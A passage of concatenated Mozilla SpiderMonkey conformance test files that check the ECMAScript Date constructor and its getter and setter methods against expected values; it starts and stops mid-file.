ResultArray[UTC_DAY], DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.3.1-3.js0000664000175000017500000001115312106270663020323 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.3.1.js ECMA Section: 15.9.3.1 new Date (year, month, date, hours, minutes, seconds, ms) Description: The [[Prototype]] property of the newly constructed object is set to the original Date prototype object, the one that is the initial value of Date.prototype. The [[Class]] property of the newly constructed object is set as follows: 1. Call ToNumber(year) 2. Call ToNumber(month) 3. Call ToNumber(date) 4. Call ToNumber(hours) 5. Call ToNumber(minutes) 6. Call ToNumber(seconds) 7. Call ToNumber(ms) 8. If Result(1) is NaN and 0 <= ToInteger(Result(1)) <= 99, Result(8) is 1900+ToInteger(Result(1)); otherwise, Result(8) is Result(1) 9. Compute MakeDay(Result(8), Result(2), Result(3) 10. Compute MakeTime(Result(4), Result(5), Result(6), Result(7) 11. Compute MakeDate(Result(9), Result(10)) 12. Set the [[Value]] property of the newly constructed object to TimeClip(UTC(Result(11))). This tests the returned value of a newly constructed Date object. Author: christine@netscape.com Date: 7 july 1997 */ var SECTION = "15.9.3.1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "new Date( year, month, date, hours, minutes, seconds, ms )"; var TIME = 0; var UTC_YEAR = 1; var UTC_MONTH = 2; var UTC_DATE = 3; var UTC_DAY = 4; var UTC_HOURS = 5; var UTC_MINUTES = 6; var UTC_SECONDS = 7; var UTC_MS = 8; var YEAR = 9; var MONTH = 10; var DATE = 11; var DAY = 12; var HOURS = 13; var MINUTES = 14; var SECONDS = 15; var MS = 16; writeHeaderToLog( SECTION + " "+ TITLE); // all the "ResultArrays" below are hard-coded to Pacific Standard Time values - addNewTestCase( new Date(2000,1,28,16,0,0,0), "new Date(2000,1,28,16,0,0,0)", [UTC_FEB_29_2000,2000,1,29,2,0,0,0,0,2000,1,28,1,16,0,0,0] ); addNewTestCase( new Date(2000,1,29,0,0,0,0), "new Date(2000,1,29,0,0,0,0)", [UTC_FEB_29_2000 - PST_ADJUST,2000,1,29,2,8,0,0,0,2000,1,29,2,0,0,0,0] ); addNewTestCase( new Date(2000,1,28,24,0,0,0), "new Date(2000,1,28,24,0,0,0)", [UTC_FEB_29_2000 - PST_ADJUST,2000,1,29,2,8,0,0,0,2000,1,29,2,0,0,0,0] ); test(); function addNewTestCase( DateCase, DateString, ResultArray ) { //adjust hard-coded ResultArray for tester's timezone instead of PST adjustResultArray(ResultArray); new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", ResultArray[UTC_DAY], DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.12-8.js0000664000175000017500000000171512106270663020417 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.12 ECMA Section: 15.9.5.12 Description: Date.prototype.getDay 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return WeekDay(LocalTime(t)). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.12"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getDay()"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "(new Date(NaN)).getDay()", NaN, (new Date(NaN)).getDay() ); new TestCase( SECTION, "Date.prototype.getDay.length", 0, Date.prototype.getDay.length ); test(); mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.36-2.js0000664000175000017500000001236312106270663020420 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.36-1.js ECMA Section: 15.9.5.36 Date.prototype.setFullYear(year [, mon [, date ]] ) Description: If mon is not specified, this behaves as if mon were specified with the value getMonth( ). If date is not specified, this behaves as if date were specified with the value getDate( ). 1. Let t be the result of LocalTime(this time value); but if this time value is NaN, let t be +0. 2. Call ToNumber(year). 3. If mon is not specified, compute MonthFromTime(t); otherwise, call ToNumber(mon). 4. If date is not specified, compute DateFromTime(t); otherwise, call ToNumber(date). 5. Compute MakeDay(Result(2), Result(3), Result(4)). 6. Compute UTC(MakeDate(Result(5), TimeWithinDay(t))). 7. Set the [[Value]] property of the this value to TimeClip(Result(6)). 8. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 Added test cases for Year 2000 Compatilibity Testing. */ var SECTION = "15.9.5.36-2"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setFullYear(year [, mon [, date ]] )"); // 1970 addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(1970);TDATE", UTCDateFromTime(SetFullYear(0,1970)), LocalDateFromTime(SetFullYear(0,1970)) ); addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(1970,0);TDATE", UTCDateFromTime(SetFullYear(0,1970,0)), LocalDateFromTime(SetFullYear(0,1970,0)) ); addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(1970,0,1);TDATE", UTCDateFromTime(SetFullYear(0,1970,0,1)), LocalDateFromTime(SetFullYear(0,1970,0,1)) ); test(); function addNewTestCase( DateString, UTCDate, LocalDate) { DateCase = eval( DateString ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } function SetFullYear( t, year, mon, date ) { var T = ( isNaN(t) ) ? 0 : LocalTime(t) ; var YEAR = Number( year ); var MONTH = ( mon == void 0 ) ? MonthFromTime(T) : Number( mon ); var DATE = ( date == void 0 ) ? DateFromTime(T) : Number( date ); var DAY = MakeDay( YEAR, MONTH, DATE ); var UTC_DATE = UTC(MakeDate( DAY, TimeWithinDay(T))); return ( TimeClip(UTC_DATE) ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.3.8-2.js0000664000175000017500000001163312106270663020334 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.3.8.js ECMA Section: 15.9.3.8 The Date Constructor new Date( value ) Description: The [[Prototype]] property of the newly constructed object is set to the original Date prototype object, the one that is the initial valiue of Date.prototype. The [[Class]] property of the newly constructed object is set to "Date". The [[Value]] property of the newly constructed object is set as follows: 1. Call ToPrimitive(value) 2. If Type( Result(1) ) is String, then go to step 5. 3. Let V be ToNumber( Result(1) ). 4. Set the [[Value]] property of the newly constructed object to TimeClip(V) and return. 5. Parse Result(1) as a date, in exactly the same manner as for the parse method. Let V be the time value for this date. 6. Go to step 4. Author: christine@netscape.com Date: 28 october 1997 Version: 9706 */ var VERSION = "ECMA_1"; startTest(); var SECTION = "15.9.3.8"; var TYPEOF = "object"; var TIME = 0; var UTC_YEAR = 1; var UTC_MONTH = 2; var UTC_DATE = 3; var UTC_DAY = 4; var UTC_HOURS = 5; var UTC_MINUTES = 6; var UTC_SECONDS = 7; var UTC_MS = 8; var YEAR = 9; var MONTH = 10; var DATE = 11; var DAY = 12; var HOURS = 13; var MINUTES = 14; var SECONDS = 15; var MS = 16; // for TCMS, the gTestcases array must be global. var gTc= 0; var TITLE = "Date constructor: new Date( value )"; var SECTION = "15.9.3.8"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION +" " + TITLE ); // all the "ResultArrays" below are hard-coded to Pacific Standard Time values - var TZ_ADJUST = -TZ_PST * msPerHour; addNewTestCase( new Date((new Date(0)).toUTCString()), "new Date(\""+ (new Date(0)).toUTCString()+"\" )", [0,1970,0,1,4,0,0,0,0,1969,11,31,3,16,0,0,0] ); addNewTestCase( new Date((new Date(1)).toString()), "new Date(\""+ (new Date(1)).toString()+"\" )", [0,1970,0,1,4,0,0,0,0,1969,11,31,3,16,0,0,0] ); addNewTestCase( new Date( TZ_ADJUST ), "new Date(" + TZ_ADJUST+")", [TZ_ADJUST,1970,0,1,4,8,0,0,0,1970,0,1,4,0,0,0,0] ); addNewTestCase( new Date((new Date(TZ_ADJUST)).toString()), "new Date(\""+ (new Date(TZ_ADJUST)).toString()+"\")", [TZ_ADJUST,1970,0,1,4,8,0,0,0,1970,0,1,4,0,0,0,0] ); addNewTestCase( new Date( (new Date(TZ_ADJUST)).toUTCString() ), "new Date(\""+ (new Date(TZ_ADJUST)).toUTCString()+"\")", [TZ_ADJUST,1970,0,1,4,8,0,0,0,1970,0,1,4,0,0,0,0] ); test(); function addNewTestCase( DateCase, DateString, ResultArray ) { //adjust hard-coded ResultArray for tester's timezone instead of PST adjustResultArray(ResultArray, 'msMode'); new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", ResultArray[UTC_DAY], DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.23-8.js0000664000175000017500000000334712106270663020424 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.23-2.js ECMA Section: 15.9.5.23 Description: Date.prototype.setTime 1. If the this value is not a Date object, generate a runtime error. 2. Call ToNumber(time). 3. Call TimeClip(Result(1)). 4. Set the [[Value]] property of the this value to Result(2). 5. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.23-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.setTime()"; writeHeaderToLog( SECTION + " "+ TITLE); test_times = new Array( TIME_NOW, TIME_0000, TIME_1970, TIME_1900, TIME_2000, UTC_FEB_29_2000, UTC_JAN_1_2005 ); for ( var j = 0; j < test_times.length; j++ ) { addTestCase( new Date(UTC_FEB_29_2000), test_times[j] ); } test(); function addTestCase( d, t ) { new TestCase( SECTION, "( "+d+" ).setTime("+t+")", t, d.setTime(t) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t+1.1)+")", TimeClip(t+1.1), d.setTime(t+1.1) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t+1)+")", t+1, d.setTime(t+1) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t-1)+")", t-1, d.setTime(t-1) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t-TZ_ADJUST)+")", t-TZ_ADJUST, d.setTime(t-TZ_ADJUST) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t+TZ_ADJUST)+")", t+TZ_ADJUST, d.setTime(t+TZ_ADJUST) ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.16.js0000664000175000017500000000276712106270663020266 0ustar sstanglsstangl// |reftest| skip-if(!xulRuntime.shell&&xulRuntime.OS=="Linux"&&xulRuntime.XPCOMABI.match(/x86_64/)) -- bug xxx crash /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.16.js ECMA Section: 15.9.5.16 Description: Date.prototype.getMinutes 1.Let t be this time value. 2.If t is NaN, return NaN. 3.Return MinFromTime(LocalTime(t)). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.16"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getMinutes()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_NOW ); addTestCase( TIME_0000 ); addTestCase( TIME_1970 ); addTestCase( TIME_1900 ); addTestCase( TIME_2000 ); addTestCase( UTC_FEB_29_2000 ); addTestCase( UTC_JAN_1_2005 ); new TestCase( SECTION, "(new Date(NaN)).getMinutes()", NaN, (new Date(NaN)).getMinutes() ); new TestCase( SECTION, "Date.prototype.getMinutes.length", 0, Date.prototype.getMinutes.length ); test(); function addTestCase( t ) { for ( m = 0; m <= 60; m+=10 ) { t += msPerMinute; new TestCase( SECTION, "(new Date("+t+")).getMinutes()", MinFromTime((LocalTime(t))), (new Date(t)).getMinutes() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.23-17.js0000664000175000017500000001033712106270663020501 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.23-1.js ECMA Section: 15.9.5.23 Date.prototype.setTime(time) Description: 1. If the this value is not a Date object, generate a runtime error. 2. Call ToNumber(time). 3. Call TimeClip(Result(1)). 4. Set the [[Value]] property of the this value to Result(2). 5. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.23-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.setTime()"; writeHeaderToLog( SECTION + " Date.prototype.setTime(time)"); var now = "now"; addTestCase( now, String( TZ_DIFF* msPerHour ) ); test(); function addTestCase( startTime, setTime ) { if ( startTime == "now" ) { DateCase = new Date(); } else { DateCase = new Date( startTime ); } DateCase.setTime( setTime ); var DateString = "var d = new Date("+startTime+"); d.setTime("+setTime+"); d" ; var UTCDate = UTCDateFromTime ( Number(setTime) ); var LocalDate = LocalDateFromTime( Number(setTime) ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes, DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds, DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.23-14.js0000664000175000017500000001032012106270663020466 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.23-1.js ECMA Section: 15.9.5.23 Date.prototype.setTime(time) Description: 1. If the this value is not a Date object, generate a runtime error. 2. Call ToNumber(time). 3. Call TimeClip(Result(1)). 4. Set the [[Value]] property of the this value to Result(2). 5. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.23-14"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.setTime()"; writeHeaderToLog( SECTION + " Date.prototype.setTime(time)"); var now = "now"; addTestCase( now, 946684800000 ); test(); function addTestCase( startTime, setTime ) { if ( startTime == "now" ) { DateCase = new Date(); } else { DateCase = new Date( startTime ); } DateCase.setTime( setTime ); var DateString = "var d = new Date("+startTime+"); d.setTime("+setTime+"); d" ; var UTCDate = UTCDateFromTime ( Number(setTime) ); var LocalDate = LocalDateFromTime( Number(setTime) ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes, DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds, DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.1.js0000664000175000017500000000154012106270663020164 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.1.js ECMA Section: 15.9.5.1 Date.prototype.constructor Description: The initial value of Date.prototype.constructor is the built-in Date constructor. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.constructor"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Date.prototype.constructor == Date", true, Date.prototype.constructor == Date ); test(); mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.10-1.js0000664000175000017500000000250712106270663020406 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.10.js ECMA Section: 15.9.5.10 Description: Date.prototype.getDate 1.Let t be this time value. 2.If t is NaN, return NaN. 3.Return DateFromTime(LocalTime(t)). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.10"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getDate()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_NOW ); new TestCase( SECTION, "(new Date(NaN)).getDate()", NaN, (new Date(NaN)).getDate() ); new TestCase( SECTION, "Date.prototype.getDate.length", 0, Date.prototype.getDate.length ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getDate()", DateFromTime(LocalTime(d)), (new Date(d)).getDate() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.2.js0000664000175000017500000000730012106270663020165 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.2.js ECMA Section: 15.9.5.2 Date.prototype.toString Description: This function returns a string value. The 